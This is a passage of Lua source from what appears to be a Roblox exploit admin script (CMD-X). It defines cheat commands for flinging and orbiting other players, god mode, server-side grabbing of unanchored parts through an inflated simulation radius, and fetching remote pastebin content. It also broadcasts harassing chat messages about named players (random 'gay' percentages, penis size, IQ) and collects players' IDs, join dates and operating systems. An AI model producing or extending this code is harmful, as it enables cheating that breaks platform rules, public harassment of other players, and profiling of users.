10889function useCommand.orbit()
10890 if arguments[2] then
10891 target = findplr(arguments[2])
10892 if target then
10893 opx("-","Now orbiting: "..target.Name)
10894 local P = Instance.new("Part", target.Character)
10895 P.Transparency = 1
10896 P.Name = "ThePart"
10897 P.Size = Vector3.new(1.7,1.7,1.7)
10898 P.Massless = true
10899 P.CanCollide = false
10900 local W = Instance.new("Weld", P)
10901 W.Part1 = target.Character.HumanoidRootPart
10902 W.Part0 = P
10903 local sine = 0
10904 local change = 1
10905 local spin = 0
10906 local spin2 = 0
10907 local rp = Instance.new("RocketPropulsion")
10908 rp.Parent = cmdlp.Character.HumanoidRootPart
10909 rp.CartoonFactor = 1
10910 rp.MaxThrust = 5000
10911 rp.MaxSpeed = 100
10912 rp.ThrustP = 5000
10913 rp.Name = "OrbitalDestructionPart"
10914 rp.Target = target.Character.ThePart
10915 rp:Fire()
10916 cmdlp.Character.Humanoid.PlatformStand = true
10917 while true do
10918 game:GetService("RunService").RenderStepped:wait()
10919 sine = sine + change
10920 spin2 = spin2 + 0.6
10921 spin = spin + 1
10922 W.C0 = CFrame.new(7 * math.cos(20),-2 - 2 * math.sin(sine/10),7 * math.sin(20))*CFrame.Angles(math.rad(0),math.rad(spin),math.rad(0))
10923 end
10924 else
10925 opx("*","Player does not exist!")
10926 end
10927 else
10928 opx("*","2 arguments are needed for this command!")
10929 end
10930end
10931
10932function useCommand.unorbit()
10933 for i,v in pairs(cmdlp.Character:GetDescendants()) do
10934 if v.Name == "OrbitalDestructionPart" or v.Name == "OrbitalDestruction" then
10935 v:Destroy()
10936 end
10937 end
10938 cmdlp.Character.Humanoid.PlatformStand = false
10939 cmdlp.Character.Humanoid.Sit = false
10940 opx("-","Stopped orbiting")
10941end
10942
10943function useCommand.suggestions()
10944 if arguments[2] == "on" then
10945 suggestions = true
10946 updatesaves()
10947 opx("-","Suggestions set to on")
10948 elseif arguments[2] == "off" then
10949 suggestions = false
10950 updatesaves()
10951 opx("-","Suggestions set to off")
10952 else
10953 opx("*","A valid preset is needed!")
10954 end
10955end
10956
10957function useCommand.statistics()
10958 opx("-","Loaded CMD Statistics")
10959 Scrollingstats:ClearAllChildren()
10960 statholder.Visible = true
10961 for i,v in pairs(CMDStat) do
10962 if CMDStat[i].T ~= 0 then
10963 CreateStatLabel(CMDStat[i].N,CMDStat[i].T)
10964 end
10965 end
10966end
10967
10968local bringc = false
10969function useCommand.clientbring()
10970 if arguments[2] then
10971 target = findplr(arguments[2])
10972 if target then
10973 bringc = true
10974 opx("-","Bringing "..target.Name.." on client.")
10975 while bringc == true do
10976 wait()
10977 if target.Character and target.Character:FindFirstChild("HumanoidRootPart") then
10978 target.Character.HumanoidRootPart.CFrame = cmdlp.Character.HumanoidRootPart.CFrame + cmdlp.Character.HumanoidRootPart.CFrame.lookVector * 2
10979 end
10980 end
10981 else
10982 opx("*","Player does not exist!")
10983 end
10984 else
10985 opx("*","2 arguments are required for this command!")
10986 end
10987end
10988
10989function useCommand.unclientbring()
10990 bringc = false
10991 opx("-","Stopped client bringing")
10992end
10993
10994function useCommand.clientfreeze()
10995 if arguments[2] then
10996 target = findplr(arguments[2])
10997 if target then
10998 opx("-","Now client freezing "..target.Name)
10999 for i,v in pairs(target.Character:GetChildren()) do
11000 if v:IsA("BasePart") then
11001 v.Anchored = true
11002 end
11003 end
11004 else
11005 opx("*","Player does not exist!")
11006 end
11007 else
11008 opx("*","2 arguments are required for this command!")
11009 end
11010end
11011
11012function useCommand.unclientfreeze()
11013 if arguments[2] then
11014 target = findplr(arguments[2])
11015 if target then
11016 opx("-","No longer client freezing "..target.Name)
11017 for i,v in pairs(target.Character:GetChildren()) do
11018 if v:IsA("BasePart") then
11019 v.Anchored = false
11020 end
11021 end
11022 else
11023 opx("*","Player does not exist!")
11024 end
11025 else
11026 opx("*","2 arguments are required for this command!")
11027 end
11028end
11029
11030function useCommand.removefog()
11031 opx("-","Removed fog")
11032 cmdl.FogStart = 0
11033 cmdl.FogEnd = 9999999999999
11034end
11035
11036local animSync = false
11037function useCommand.animsync()
11038 if arguments[2] then
11039 target = findplr(arguments[2])
11040 if target then
11041 opx("-","Now syncing with "..target.Name)
11042 target.Chatted:Connect(function(v)
11043 if v:sub(1,3) == "/e " or v:sub(1,3) == ".e" and animSync == true then
11044 animations = {
11045 Agree = 4841397952;
11046 Disagree = 4841401869;
11047 ["Power Blast"] = 4841403964;
11048 Happy = 4841405708;
11049 Sad = 4841407203;
11050 ["Bunny Hop"] = 4641985101;
11051 ["Peanut Butter Jelly Dance"] = 4406555273;
11052 ["Around Town"] = 3303391864;
11053 ["Top Rock"] = 3361276673;
11054 Fashionable = 3333331310;
11055 Robot = 3338025566;
11056 Twirl = 3334968680;
11057 Jacks = 3338066331;
11058 T = 3338010159;
11059 Shy = 3337978742;
11060 Monkey = 3333499508;
11061 ["Borock's Rage"] = 3236842542;
11062 ["Ud'zal's Summoning"] = 3303161675;
11063 ["Hype Dance"] = 3695333486;
11064 Godlike = 3337994105;
11065 Swoosh = 3361481910;
11066 Sneaky = 3334424322;
11067 ["Side to Side"] = 3333136415;
11068 Greatest = 3338042785;
11069 Louder = 3338083565;
11070 Celebrate = 3338097973;
11071 Haha = 3337966527;
11072 ["Get Out"] = 3333272779;
11073 Tree = 4049551434;
11074 Fishing = 3334832150;
11075 ["Fast Hands"] = 4265701731;
11076 Y = 4349285876;
11077 Zombie = 4210116953;
11078 ["Baby Dance"] = 4265725525;
11079 ["Line Dance"] = 4049037604;
11080 Dizzy = 3361426436;
11081 Shuffle = 4349242221;
11082 ["Dorky Dance"] = 4212455378;
11083 BodyBuilder = 3333387824;
11084 Idol = 4101966434;
11085 ["Fancy Feet"] = 3333432454;
11086 Curtsy = 4555816777;
11087 ["Air Dance"] = 4555782893;
11088 ["Chicken Dance"] = 4841399916;
11089 Disagree = 4841401869;
11090 Sleep = 4686925579;
11091 }
11092 for i,x in pairs(cmdlp.Character.Humanoid:GetPlayingAnimationTracks()) do
11093 x:Stop()
11094 end
11095 cmdlp.Character.Animate.Disabled = true
11096 for i,x in pairs(animations) do
11097 if v:sub(4,#v):lower() == i:lower() then
11098 local Anim = Instance.new("Animation")
11099 Anim.AnimationId = "rbxassetid://"..x
11100 local salute = cmdlp.Character.Humanoid:LoadAnimation(Anim)
11101 salute.Name = "AP"
11102 salute:Play()
11103 salute.Stopped:Connect(function()
11104 cmdlp.Character.Animate.Disabled = false
11105 end)
11106 end
11107 end
11108 end
11109 end)
11110 else
11111 opx("*","Player does not exist!")
11112 end
11113 else
11114 opx("*","2 arguments are required for this command!")
11115 end
11116end
11117
11118function useCommand.unanimsync()
11119 animSync = false
11120 opx("-","No longer syncing")
11121end
11122
11123function useCommand.playercases()
11124 opx("-","Listed player cases")
11125 opxL("Player-cases","me - Chooses you\
11126 random - Chooses a random player\
11127 new - Chooses a player under the age of 30\
11128 old - Chooses a player over the age of 30\
11129 bacon - Chooses a player with a bacon hair\
11130 friend - Chooses a player that is friends with you\
11131 notfriend - Chooses a player that is not friends with you\
11132 ally - Chooses a player that is on the same team as you\
11133 enemy - Chooses a player that is not on the same team as you\
11134 near - Chooses a player that is close to you\
11135 far - Chooses a player that is not close to you")
11136end
11137
11138function useCommand.ppsize()
11139 if arguments[2] then
11140 target = findplr(arguments[2])
11141 if target then
11142 local PPTable = {"Non-Existant","Microscopic","Tiny","Very Small","Small","Moderate","Average","Above Average","Big","Massive","Hugh Mungus","Gut Destroyer"}
11143 local pickPP = math.random(1,#PPTable)
11144 opx("-",target.Name.." has a "..PPTable[pickPP].." sizePP")
11145 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." has a "..PPTable[pickPP].." sized sausage","All")
11146 else
11147 opx("*","Player does not exist!")
11148 end
11149 else
11150 opx("*","2 arguments are required for this command!")
11151 end
11152end
11153
11154function useCommand.gaysize()
11155 if arguments[2] then
11156 target = findplr(arguments[2])
11157 if target then
11158 local gayREAL = math.random(0,100)
11159 opx("-",target.Name.." is "..gayREAL.."% gay")
11160 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." is "..gayREAL.."% gay","All")
11161 else
11162 opx("*","Player does not exist!")
11163 end
11164 else
11165 opx("*","2 arguments are required for this command!")
11166 end
11167end
11168
11169function useCommand.matchmake()
11170 if arguments[3] then
11171 target = findplr(arguments[2])
11172 local target2 = findplr(arguments[3])
11173 if target ~= nil and target2 ~= nil then
11174 local matchREAL = math.random(0,100)
11175 opx("-",target.Name.." and "..target2.Name.." are a "..matchREAL.."% match")
11176 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." and "..target2.Name.." are a "..matchREAL.."% match","All")
11177 else
11178 opx("*","Player does not exist!")
11179 end
11180 else
11181 opx("*","3 arguments are required for this command!")
11182 end
11183end
11184
11185function useCommand.height()
11186 if arguments[2] then
11187 target = findplr(arguments[2])
11188 if target then
11189 local height1 = math.random(0,7)
11190 local height2 = math.random(0,10)
11191 opx("-",target.Name.." is "..height1.."'"..height2)
11192 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." is "..height1.."'"..height2,"All")
11193 else
11194 opx("*","Player does not exist!")
11195 end
11196 else
11197 opx("*","2 arguments are required for this command!")
11198 end
11199end
11200
11201local deadRefresh = false
11202function useCommand.respawndead()
11203 deadRefresh = true
11204 opx("-","Respawn dead is now on")
11205 while deadRefresh == true do
11206 wait()
11207 if cmdlp.Character.Humanoid.Health == 0 then
11208 DiedTP = cmdlp.Character.HumanoidRootPart.CFrame
11209 cmdlp.CharacterAdded:Connect(function()
11210 repeat wait() until cmdlp.Character.HumanoidRootPart
11211 cmdlp.Character.HumanoidRootPart.CFrame = DiedTP
11212 end)
11213 end
11214 end
11215end
11216
11217function useCommand.unrespawndead()
11218 deadRefresh = false
11219 opx("-","Respawn dead is now off")
11220end
11221
11222function useCommand.god()
11223 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead,false)
11224 opx("-","Godded character, may not work on some games")
11225end
11226
11227function useCommand.ungod()
11228 opx("-","Ungodded character")
11229 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead,true)
11230end
11231
11232function useCommand.randomchat()
11233 local tbl1 = game:HttpGet("https://pastebin.com/raw/aUD58y32"):gsub('"',""):gsub('{',""):gsub('}',""):split(",")--english words
11234 local tbl2 = game:HttpGet("https://pastebin.com/raw/Bj97ZwPp"):gsub('"',""):gsub('{',""):gsub('}',""):split(",")--tbl1
11235 local tbl3 = game:HttpGet("https://pastebin.com/raw/jNWum66L"):gsub('"',""):gsub('{',""):gsub('}',""):split(",")--tbl2
11236 local tbl4 = game:HttpGet("https://pastebin.com/raw/9GdmNVrc"):gsub('"',""):gsub('{',""):gsub('}',""):split(",")--tbl3
11237 local tbl5 = game:HttpGet("https://pastebin.com/raw/izGHZLha"):gsub('"',""):gsub('{',""):gsub('}',""):split(",")--tbl5
11238 local tbl6 = game:HttpGet("https://pastebin.com/raw/PFHG47S2"):gsub('"',""):gsub('{',""):gsub('}',""):split(",")--tbl4
11239 local tbl7 = game:HttpGet("https://pastebin.com/raw/HPZswDsv"):gsub('"',""):gsub('{',""):gsub('}',""):split(",")--tbl6
11240 local tbl8 = game:HttpGet("https://pastebin.com/raw/tKpFPgzj"):gsub('"',""):gsub('{',""):gsub('}',""):split(",")--tbl7
11241 local tbl9 = game:HttpGet("https://pastebin.com/raw/9uHe83wS"):gsub('"',""):gsub('{',""):gsub('}',""):split(",")--tbl8
11242 local r1 = math.random(1,#tbl1)
11243 local r2 = math.random(1,#tbl2)
11244 local r3 = math.random(1,#tbl3)
11245 local r4 = math.random(1,#tbl4)
11246 local r5 = math.random(1,#tbl5)
11247 local r6 = math.random(1,#tbl6)
11248 local r7 = math.random(1,#tbl7)
11249 local r8 = math.random(1,#tbl8)
11250 local r9 = math.random(1,#tbl9)
11251 opx("-",tbl1[r1].." "..tbl2[r2].." "..tbl3[r3].." "..tbl4[r4].." "..tbl5[r5].." "..tbl6[r6].." "..tbl7[r7].." "..tbl8[r8].." "..tbl9[r9])
11252 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(tbl1[r1].." "..tbl2[r2].." "..tbl3[r3].." "..tbl4[r4].." "..tbl5[r5].." "..tbl6[r6].." "..tbl7[r7].." "..tbl8[r8].." "..tbl9[r9],"All")
11253end
11254
11255function useCommand.enablereset()
11256 opx("-","Force enabled reset button")
11257 game:GetService("StarterGui"):SetCore("ResetButtonCallback", true)
11258end
11259
11260function useCommand.disablereset()
11261 opx("-","Force disabled reset button")
11262 game:GetService("StarterGui"):SetCore("ResetButtonCallback", false)
11263end
11264
11265function useCommand.headless()
11266 opx("-","If you followed the instructions you should have headless")
11267 local Y = .3
11268 local Hat = cmdlp.Character["Dog Ears"]
11269 local Handle = Hat.Handle
11270 local Attachment = Handle:FindFirstChildOfClass("Attachment")
11271 local Weld = Handle:FindFirstChildOfClass("Weld")
11272 local Part
11273 if Weld.Part1 == "Torso" or Weld.Part1 == "UpperTorso" then
11274 Y = -Y
11275 Part = cmdlp.Character.Head
11276 else
11277 Part = cmdlp.Character.HumanoidRootPart
11278 end
11279 for i,v in pairs(cmdlp.Character:GetChildren()) do
11280 if v:IsA("Accessory") and v.Name ~= "Dog Ears" then
11281 local Att = v.Handle:FindFirstChildOfClass("Attachment")
11282 local Wel = v.Handle:FindFirstChildOfClass("Weld")
11283 local Par
11284 if Wel.Part1 == "Torso" or Wel.Part1 == "UpperTorso" then
11285 Par = cmdlp.Character.Head
11286 else
11287 Par = cmdlp.Character.HumanoidRootPart
11288 end
11289 rg = Instance.new("Weld")
11290 rg.Name = "RightGrip"
11291 rg.Part1 = v.Handle
11292 rg.Part0 = Par
11293 rg.Parent = Par
11294 Attachment.CFrame = CFrame.new(0,0,0)
11295 rg.C1 = v.Handle.CFrame:ToObjectSpace(cmdlp.Character.HumanoidRootPart.CFrame) rg.C0 = CFrame.new(0, 2.1, -.2)
11296 end
11297 end
11298 local rightGrip = Instance.new("Weld")
11299 rightGrip.Name = "RightGrip"
11300 rightGrip.Part1 = Handle
11301 rightGrip.Part0 = Part
11302 rightGrip.Parent = Part
11303 Attachment.CFrame = CFrame.new(0,0,0)
11304 rightGrip.C1 = Handle.CFrame:ToObjectSpace(cmdlp.Character.HumanoidRootPart.CFrame) rightGrip.C0 = CFrame.new(0, Y, -0)
11305end
11306
11307local looping = false
11308function useCommand.loop()
11309 if arguments[2] then
11310 looping = true
11311 loopStat = getstring(2)
11312 perCmd = arguments[2]
11313 opx("-","Now looping that command")
11314 while looping == true do
11315 wait()
11316 arguments = loopStat:split(" ")
11317 useCommand[perCmd]()
11318 end
11319 else
11320 opx("*","2 arguments are needed!")
11321 end
11322end
11323
11324function useCommand.unloop()
11325 looping = false
11326 wait(.1)
11327 opx("-","No longer looping commands")
11328end
11329
11330function useCommand.savetools()
11331 opx("-","Saved tools")
11332 for i,a in pairs(cmdlp.Backpack:GetDescendants()) do
11333 if a:IsA("Tool") then
11334 a.Parent = cmdlp.Character
11335 a.Parent = workspace
11336 a.Handle.Anchored = true
11337 end
11338 end
11339end
11340
11341function useCommand.loadtools()
11342 opx("-","Loaded tools")
11343 for i,v in pairs(workspace:GetChildren()) do
11344 if v:IsA("Tool") and v.Handle.Anchored == true then
11345 v.Handle.Anchored = false
11346 v.Handle.CFrame = cmdlp.Character.HumanoidRootPart.CFrame
11347 end
11348 end
11349end
11350
11351function useCommand.hotkeyfly()
11352 if arguments[2] then
11353 hotkeyfly = arguments[2]
11354 updatesaves()
11355 opx("Hotkey set to "..arguments[2])
11356 else
11357 opx("A key is required")
11358 end
11359end
11360
11361function useCommand.hotkeyxray()
11362 if arguments[2] then
11363 hotkeyxray = arguments[2]
11364 updatesaves()
11365 opx("Hotkey set to "..arguments[2])
11366 else
11367 opx("A key is required")
11368 end
11369end
11370
11371function useCommand.plague()
11372 if arguments[2] then
11373 opx("-","You started a plague!")
11374 cureFound = false
11375 plaguename = arguments[2]
11376 if #cmdp:GetPlayers() > 6 then
11377 for i,v in pairs(cmdp:GetPlayers()) do
11378 wait(math.random(1,15))
11379 if i == 1 then
11380 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(v.Name.." is the ZeroDay of "..plaguename, "All")
11381 elseif i == 2 then
11382 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(plaguename.." was put on the watchlist by RHO", "All")
11383 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(v.Name.." was infected by "..plaguename, "All")
11384 elseif i == #cmdp:GetPlayers()-3 then
11385 randomss = math.random(1,2)
11386 if randomss == 2 then
11387 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("A cure was found for "..plaguename.." RHO says it will be over soon", "All")
11388 cureFound = true
11389 else
11390 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Roblox begins breaking down as "..plaguename.." infects the majority of the population", "All")
11391 end
11392 elseif i == #cmdp:GetPlayers() then
11393 if cureFound == false then
11394 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Roblox was completely infected by "..plaguename, "All")
11395 else
11396 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Roblox won against "..plaguename, "All")
11397 end
11398 else
11399 if cureFound == false then
11400 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(v.Name.." was infected by "..plaguename, "All")
11401 end
11402 end
11403 end
11404 else
11405 opx("*","You need 6 plus players!")
11406 end
11407 else
11408 opx("*","You need 2 arguments!")
11409 end
11410end
11411
11412function useCommand.removecustomnametag()
11413 opx("-","Removed any custom name tags")
11414 for i,v in pairs(cmdlp.Character:GetDescendants()) do
11415 if v:IsA("BillboardGui") then
11416 v:Destroy()
11417 end
11418 end
11419end
11420
11421function useCommand.stubby()
11422 opx("-","You are now stubby")
11423 cmdlp.Character.RightHand:Destroy()
11424 cmdlp.Character.LeftHand:Destroy()
11425 cmdlp.Character.RightFoot:Destroy()
11426 cmdlp.Character.LeftFoot:Destroy()
11427end
11428
11429function useCommand.bringunanchored()
11430 if arguments[2] then
11431 target = findplr(arguments[2])
11432 if target then
11433 opx("-","Brung unanchored parts")
11434 cmdlp.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
11435 cmdlp.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
11436 local unanchoredparts = {}
11437 local movers = {}
11438 for index, part in pairs(workspace:GetDescendants()) do
11439 if part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and part:IsDescendantOf(cmdlp.Character) == false then
11440 table.insert(unanchoredparts, part)
11441 part.Massless = true
11442 part.CanCollide = false
11443 if part:FindFirstChildOfClass("BodyPosition") ~= nil then
11444 part:FindFirstChildOfClass("BodyPosition"):Destroy()
11445 end
11446 end
11447 end
11448 for index, part in pairs(unanchoredparts) do
11449 local mover = Instance.new("BodyPosition", part)
11450 table.insert(movers, mover)
11451 mover.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
11452 end
11453 for index, mover in pairs(movers) do
11454 mover.Position = target.Character:FindFirstChild("HumanoidRootPart").CFrame:PointToWorldSpace(Vector3.new(0, 0, 5))
11455 end
11456 cmdlp.SimulationRadius = 139
11457 cmdlp.MaximumSimulationRadius = 139
11458 else
11459 opx("*","Player does not exist!")
11460 end
11461 else
11462 opx("*","2 arguments are required for this command!")
11463 end
11464end
11465
11466function useCommand.destroyunanchored()
11467 opx("-","Destroyed unanchored parts")
11468 cmdlp.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
11469 cmdlp.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
11470 local unanchoredparts = {}
11471 local movers = {}
11472 for index, part in pairs(workspace:GetDescendants()) do
11473 if part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and part:IsDescendantOf(cmdlp.Character) == false then
11474 table.insert(unanchoredparts, part)
11475 part.Massless = true
11476 part.CanCollide = false
11477 if part:FindFirstChildOfClass("BodyPosition") ~= nil then
11478 part:FindFirstChildOfClass("BodyPosition"):Destroy()
11479 end
11480 end
11481 end
11482 for index, part in pairs(unanchoredparts) do
11483 local mover = Instance.new("BodyPosition", part)
11484 table.insert(movers, mover)
11485 mover.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
11486 end
11487 for index, mover in pairs(movers) do
11488 mover.Position = cmdlp.Character.HumanoidRootPart.CFrame:PointToWorldSpace(Vector3.new(999999, workspace.FallenPartsDestroyHeight + 5,999999))
11489 end
11490 cmdlp.SimulationRadius = 139
11491 cmdlp.MaximumSimulationRadius = 139
11492end
11493
11494function useCommand.listunanchored()
11495 opx("-","Listing unanchored parts")
11496 xUnanchored = ""
11497 Num = 0
11498 for i,v in pairs(workspace:GetDescendants()) do
11499 if v:IsA("BasePart" or "UnionOperation") and v.Anchored == false and v:IsDescendantOf(cmdlp.Character) == false then
11500 xUnanchored = xUnanchored..v.Name..", "
11501 Num = Num + 1
11502 end
11503 end
11504 xUnanchored = Num.." | "..xUnanchored
11505 opxL("Unanchored Parts",xUnanchored)
11506end
11507
11508function useCommand.iq()
11509 if arguments[2] then
11510 target = findplr(arguments[2])
11511 if target then
11512 local iq1 = math.random(1,200)
11513 opx("-",target.Name.." has "..iq1.." IQ")
11514 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." has "..iq1.." IQ","All")
11515 else
11516 opx("*","Player does not exist!")
11517 end
11518 else
11519 opx("*","2 arguments are required for this command!")
11520 end
11521end
11522
11523function useCommand.credits()
11524 opx("-","Opened credits")
11525 opxL("Credits","Note: Some discords may be out of date due to consistent changing;\
11526 Owner - pigeon#1818\
11527 Co-Owner - hz#4777\
11528 Dev - Curvn#2646\
11529 Dev - U0ZT.#0904\
11530 Dev - Luy#1821\
11531 Intro Audio - liv#2001\
11532 Thank you to IY for some functions inside CMD-X\
11533 Thank you to Bannable#5005 for animpack\
11534 Thank you to 6033#6033 for aimbot")
11535end
11536
11537function useCommand.outputlarger()
11538 if arguments[2] then
11539 opxString = getstring(2)
11540 opx("-","Opened output-larger")
11541 opxL("Output-Longer",opxString)
11542 else
11543 opx("*","2 arguments are required!")
11544 end
11545end
11546
11547local funa = false
11548function useCommand.freezeunanchored()
11549 opx("-","Froze unanchored parts")
11550 funa = true
11551 cmdlp.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
11552 cmdlp.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
11553 local unanchoredparts = {}
11554 local movers = {}
11555 for index, part in pairs(workspace:GetDescendants()) do
11556 if part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and part:IsDescendantOf(cmdlp.Character) == false then
11557 table.insert(unanchoredparts, part)
11558 part.Massless = true
11559 part.CanCollide = false
11560 if part:FindFirstChildOfClass("BodyPosition") ~= nil then
11561 part:FindFirstChildOfClass("BodyPosition"):Destroy()
11562 end
11563 end
11564 end
11565 for index, part in pairs(unanchoredparts) do
11566 local mover = Instance.new("BodyPosition", part)
11567 table.insert(movers, mover)
11568 mover.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
11569 end
11570 repeat
11571 for index, mover in pairs(movers) do
11572 mover.Position = mover.Position
11573 end
11574 wait(.1)
11575 until funa == false
11576 cmdlp.MaximumSimulationRadius = 139
11577 cmdlp.SimulationRadius = 139
11578end
11579
11580function useCommand.thawunanchored()
11581 opx("-","Thawed unanchored parts")
11582 funa = false
11583end
11584
11585function useCommand.players()
11586 opx("Listed players in game")
11587 xPlayers = #cmdp:GetPlayers().." | "
11588 for i,v in pairs(cmdp:GetPlayers()) do
11589 xPlayers = xPlayers..v.Name..", "
11590 end
11591 opxL("Players",xPlayers)
11592end
11593
11594function useCommand.changelog()
11595 opx("Showed changelog")
11596 xCL = ""
11597 for i,v in pairs(changeLog) do
11598 xCL = xCL..changeLog[i].."\n"
11599 end
11600 opxL("Changelog | Ver: "..ver.." | NUpd: "..nextupd,xCL)
11601end
11602
11603function useCommand.massjoindate()
11604 opx("-","Showing join dates")
11605 xJD = ""
11606 for i,v in pairs(cmdp:GetPlayers()) do
11607 local res = game:HttpGet("https://users.roblox.com/v1/users/"..v.UserId)
11608 local tbl = json.decode(res)
11609 local Created = tbl["created"]:split("T")
11610 local Created2 = Created[2]:split(".")
11611 xJD = xJD..v.Name.." joined on: "..Created[1].." "..Created2[1].."\n"
11612 end
11613 opxL("Mass-JoinDate",xJD)
11614end
11615
11616function useCommand.massage()
11617 opx("-","Showing ages")
11618 xAge = ""
11619 for i,v in pairs(cmdp:GetPlayers()) do
11620 local Years = string.split(v.AccountAge/365,".")
11621 xAge = xAge..v.Name.."(s) account is "..Years[1].." year(s) old or "..v.AccountAge.." day(s) old\n"
11622 end
11623 opxL("Mass-Age",xAge)
11624end
11625
11626function useCommand.massid()
11627 opx("-","Showing IDs")
11628 xID = ""
11629 for i,v in pairs(cmdp:GetPlayers()) do
11630 xID = xID..v.Name.."s User ID is "..v.UserId.."\n"
11631 end
11632 opxL("Mass-ID",xID)
11633end
11634
11635function useCommand.massos()
11636 opx("-","Showing OSs")
11637 xOS = ""
11638 for i,v in pairs(cmdp:GetPlayers()) do
11639 xOS = xOS..v.Name.."s OS is "..v.OsPlatform.."\n"
11640 end
11641 opxL("Mass-OS",xOS)
11642end
11643
11644function useCommand.rejoindiff()
11645 if not arguments[2] then
11646 opx("-","Current Guid: "..game.JobId)
11647 local URL = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex=")
11648 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL.."0"))
11649 opx("-","Searching places, this may take a while...")
11650 local PPlaces = {}
11651 for i = 0,Http.TotalCollectionSize do
11652 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL..i))
11653 for i,v in pairs(Http.Collection) do
11654 local SplitCapacityForNum = v.PlayersCapacity:split(" ")
11655 if SplitCapacityForNum[1] ~= v.Capacity then
11656 opx("-","Possible server, Guid: "..v.Guid)
11657 PPlaces[#PPlaces+1] = {GUID = v.Guid}
11658 else
11659 opx("-","Server is full, or does not exist; Skipping...")
11660 end
11661 end
11662 end
11663 opx("-","All places finalized, randomizing...")
11664 game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,PPlaces[math.random(1,#PPlaces)].GUID,cmdlp)
11665 elseif arguments[2] == "quick" then
11666 local URL = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex=")
11667 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL.."0"))
11668 opx("-","Searching places...")
11669 for i = 0,30 do
11670 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL..math.random(1,30)))
11671 for i,v in pairs(Http.Collection) do
11672 local SplitCapacityForNum = v.PlayersCapacity:split(" ")
11673 if SplitCapacityForNum[1] ~= v.Capacity then
11674 opx("-","All places finalized, randomizing...")
11675 game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,v.Guid,cmdlp)
11676 break
11677 end
11678 end
11679 end
11680 elseif arguments[2] == "smallest" then
11681 opx("-","Current Guid: "..game.JobId)
11682 local URL = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex=")
11683 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL.."0"))
11684 opx("-","Searching places, this may take a while...")
11685 local PPlaces = {}
11686 for i = 0,Http.TotalCollectionSize do
11687 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL..i))
11688 for i,v in pairs(Http.Collection) do
11689 opx("-","Possible server, Guid: "..v.Guid)
11690 PPlaces[#PPlaces+1] = {GUID = v.Guid}
11691 end
11692 end
11693 opx("-","All places finalized, randomizing...")
11694 game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,PPlaces[#PPlaces].GUID,cmdlp)
11695 elseif arguments[2] == "small" then
11696 opx("-","Current Guid: "..game.JobId)
11697 local URL = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex=")
11698 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL.."0"))
11699 opx("-","Searching places, this may take a while...")
11700 local PPlaces = {}
11701 for i = 0,Http.TotalCollectionSize do
11702 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL..i))
11703 for i,v in pairs(Http.Collection) do
11704 MathPC = v.PlayersCapacity:split(" ")
11705 if MathPC[1] == "7" or MathPC[1] == "6" or MathPC[1] == "5" or MathPC[1] == "4" or MathPC[1] == "3" or MathPC[1] == "2" or MathPC[1] == "1" then
11706 opx("-","Possible server, Guid: "..v.Guid)
11707 PPlaces[#PPlaces+1] = {GUID = v.Guid}
11708 else
11709 opx("-","Server is too big, or does not exist; Skipping...")
11710 end
11711 end
11712 end
11713 opx("-","All places finalized, randomizing...")
11714 game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,PPlaces[math.random(1,#PPlaces)].GUID,cmdlp)
11715 elseif arguments[2] == "largest" then
11716 opx("-","Current Guid: "..game.JobId)
11717 local URL = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex=")
11718 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL.."0"))
11719 opx("-","Searching places, this may take a while...")
11720 local PPlaces = {}
11721 for i = 0,Http.TotalCollectionSize do
11722 local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL..i))
11723 for i,v in pairs(Http.Collection) do
11724 MathPC = v.PlayersCapacity:split(" ")
11725 if MathPC[1] ~= v.Capacity then
11726 opx("-","Possible server, Guid: "..v.Guid)
